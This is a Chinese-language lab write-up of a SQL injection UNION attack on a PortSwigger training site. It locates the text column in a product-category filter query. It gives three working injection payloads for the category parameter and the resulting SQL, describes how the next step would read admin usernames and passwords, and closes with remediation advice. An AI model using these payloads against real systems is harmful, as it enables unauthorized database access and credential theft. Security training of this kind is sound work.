

SQL 注入漏洞报告 (Lab4: UNION 攻击查找包含文本的列)

1. 漏洞名称

SQL Injection (SQL 注入) — UNION 联合查询定位文本列

2. 漏洞等级

高危 (High)

3. 漏洞描述

该网站商品分类查询功能存在 SQL 注入漏洞。在前序实验中已确认原查询包含 3 列。攻击者可以通过 UNION 关键字，将字符串注入到不同的列中，以此探测哪一列的数据类型是“文本 (String)”，从而确定后续能回显敏感数据（如用户名、密码）的列位置。

4. 漏洞位置

请求方式: GET /filter?category=...

漏洞参数: category

5. 漏洞复现过程

第一步：探测列的数据类型（注入测试）

在确定查询有 3 列后，分别尝试将随机字符串 'Q1HS7W' 放入第 1、第 2、第 3 列中。

- **探测 Payload 1:** category=Pets'+UNION+SELECT+'Q1HS7W',null,null-- (页面无变化，说明第 1 列不是文本列)
- **探测 Payload 2:** category=Pets'+UNION+SELECT+null,'Q1HS7W',null-- (目标实现)
- **探测 Payload 3:** category=Pets'+UNION+SELECT+null,null,'Q1HS7W'-- (页面无变化，说明第 3 列也不是文本列)



截图 1：探测过程（非文本列注入无效）

说明：当随机字符串被放在错误的列（如整数列）时，由于数据类型不匹配，数据库可能不报错但无法在网页渲染该字符串，注入无效。



截图 2：成功找到文本列（字符串回显）

说明：将字符串注入到第 2 列后，页面成功回显了该文本。这证明原始查询的第 2 列是文本类型（如 VARCHAR），适合用于后续窃取用户名和密码。



截图 3：实验完成确认

说明：靶场服务器确认漏洞攻击验证成功。

第二步：漏洞原理

原 SQL：

```
sql
```

```
SELECT * FROM products WHERE category='Pets'
```

攻击者输入 Payload 后，SQL 变为：

```
sql
```

```
SELECT * FROM products WHERE category='Pets' UNION SELECT null, 'Q1HS7W', null --
```

- 这一步是**数据窃取前最关键的一步**。
- 页面商品列表中最下面多出了一条名为 Q1HS7W 的“商品”。
- 攻击者已经掌握了：**SQL 查询结果的第 2 列可以输出文本**。这意味着，下一阶段攻击者只需要把 'Q1HS7W' 替换成 username 或 password 这样的字段名，就能在网页上直接看到数据库里的管理员账号密码。

6. 漏洞影响

定位到文本列后，攻击者成功构造了**数据库到网页的“输出通道”**。

- 这是利用 UNION 进行 **跨表数据窃取** 的前置步骤。

- 一旦完成这个步骤，攻击者下一步就能直接读取 users 表的所有用户名和密码，实现完全接管。

7. 修复建议

- ① **坚决使用参数化查询（预编译）**：杜绝 SQL 语句拼接。
- ② **输入过滤与校验**：严格限制用户输入中包含 UNION、SELECT 等 SQL 关键字，或部署 WAF（Web 应用防火墙）进行拦截。
- ③ **最小数据库权限**：Web 应用连接数据库的账号应仅具备必要的 CRUD（增删改查）权限，不要授予读取系统表或跨库查询的权限。

8. 工具

- Google Chrome / Firefox 浏览器（直接修改 URL 参数）
- PortSwigger Web Security Academy（靶场平台）